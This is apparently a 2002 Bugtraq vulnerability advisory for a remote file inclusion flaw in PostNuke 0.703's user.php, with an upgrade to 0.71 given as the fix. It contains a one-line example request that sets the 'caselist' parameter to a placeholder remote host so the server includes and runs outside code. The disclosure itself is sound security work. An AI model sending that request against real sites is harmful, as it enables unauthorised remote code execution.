PostNuke caselist Arbitrary Module Include Vulnerability

Bugtraq ID:	4381
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Mar 28 2002 12:00AM
Updated:	Mar 28 2002 12:00AM
Credit:	Discovered by pokleyzz sakamaniaka <[email protected]>.
Vulnerable:	PostNuke Development Team PostNuke 0.703
Not Vulnerable:	PostNuke Development Team PostNuke 0.71

PostNuke caselist Arbitrary Module Include Vulnerability

PostNuke is a content management system originally forked from the PHP-Nuke project. It is implemented in PHP, and available for Windows, Linux and other Unix based systems.

A vulnerability has been reported in some versions of PostNuke. Reportedly, it is possible to force the script user.php to include arbitrary modules. These files may be hosted remotely and contain arbitrary code, which will then be executed by the vulnerable system.

Other versions of PostNuke may share this vulnerability. This has not, however, been confirmed.

PostNuke caselist Arbitrary Module Include Vulnerability

The following example request was submitted by pokleyzz sakamaniaka <[email protected]>:

http://lame_host/user.php?caselist[bad_file.txt][path]=http://bad_host

PostNuke caselist Arbitrary Module Include Vulnerability

Solution:
PostNuke .71 does not appear to share this vulnerability.

PostNuke caselist Arbitrary Module Include Vulnerability

References:

• PostNuke Homepage (PostNuke Development Team)